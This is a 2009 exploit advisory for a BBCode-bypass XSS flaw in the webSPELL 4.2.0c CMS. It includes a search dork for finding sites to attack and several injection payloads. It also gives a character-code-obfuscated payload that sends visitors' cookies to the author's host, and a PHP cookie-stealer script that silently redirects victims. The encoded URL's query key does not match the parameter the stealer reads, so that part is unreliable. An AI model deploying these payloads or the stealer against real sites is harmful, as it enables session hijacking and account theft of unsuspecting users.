webSPELL 4.2.0c XSS (BYPASS BBCODE) COOKIES STEALING VULNERABILITY ---------------- CMS INFORMATION: ---------------- -->WEB: http://www.webspell.org/ (affected too) -->DOWNLOAD: http://www.webspell.org/download.php?fileID=22 -->DEMO: http://www.webspell.org/index.php?site=demo -->CATEGORY: CMS / Portals -->DESCRIPTION: webSPELL is a free Content Management System (CMS) for clans and gaming communities, providing all needed features like forums, gallery, clanwar... ------------------- CMS VULNERABILITY: ------------------- -->TESTED ON: firefox 3.0.8 and IE 6.0.29 (Default) -->DORK: "Powered by webSPELL" -->CATEGORY: XSS/BYPASS-BBCODE/COOKIES STEALING -->AFFECT VERSION: LAST = 4.2.0C (maybe <= ?) -->Discovered Bug date: 2009-04-14 -->Reported Bug date: 2009-04-14 -->Fixed bug date: 2009-04-14 -->Info patch (v-4.2.0d): http://www.webspell.org/ -->Author: YEnH4ckEr -->mail: y3nh4ck3r[at]gmail[dot]com -->WEB/BLOG: N/A -->COMMENT: A mi novia Marijose...hermano,cu&#241;ada, padres (y amigos xD) por su apoyo. ----------- BUG ZONES: ----------- #BBCode is bypassed by differents methods and XSS is possible. ---------------------------------- PROOF OF CONCEPT (SEARCHING XSS): ---------------------------------- BOTH (FIREFOX AND IE): [email][img]http://a.com onmouseover=alert(1) [/img][/email] [email][email][img]http://a.com onmouseover=alert(1) [/img] [/email][/email] [email][url][img]http://a.com onmouseover=alert(1) [/img] [/url][/email] Maybe you find more...I looked for a bit xD ONLY IE: [email][email][url]http://a.com onmouseover=alert(1) [/url]http://' onmouseover=alert(1) [/email][/email] [email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// onmouseover=alert(1) [/email][/email] [email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// ' onmouseover=alert(1) [/email][/email] [email][email][url]http://a.com' onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email] [email][email][url]http://a.com onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email] Combinations of tags like this: [email][img]http://a.com onmouseover=alert(1) [/img][/email] Generate the follow html code: <a href="mailto:..."><img src=\"http://a.com onmouseover=alert(1) \" id=\"ws_image_123966998343_1\" border=\"0\" onload=\"checkSize('123966998343_1', 450, 500)\" alt=\"http://a.com onmouseover=alert(1) \" style=\"max-width: 451px; max-height: 501px;\" /><div id=\"ws_imagediv_123966998343_1\" style=\"display:none;\"><a href='http://a.com onmouseover=alert(1) ' target='_blank'><i>(Auto resize: show original)</i></a></div></a> -------------------------- COOKIES EXPLOIT (BBCODE): -------------------------- I'll use the first PoC (IE6 and firefox) and String.fromCharCode to bypass quotes and send cookies to my host: http://www.myphpcookiestealing.es/capturethecookies.php?ck= Well...Let's GO! [email][img]http://www.victim.es onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/email] ------------------------------ COOKIES STEALER (PHP SCRIPT): ------------------------------ <?php $ck=$_GET["ck"]; //Capture the cookies $manejador=fopen("exploited.txt",'a'); //Open cookies saved file fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n--EOF--\r\n"); //Save the values fclose($manejador); //Close file echo "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect...we don't want to alert xDD ?> You can use any cookie editor and you have one shot (XSSSHEll+XSSTunnel = many shots)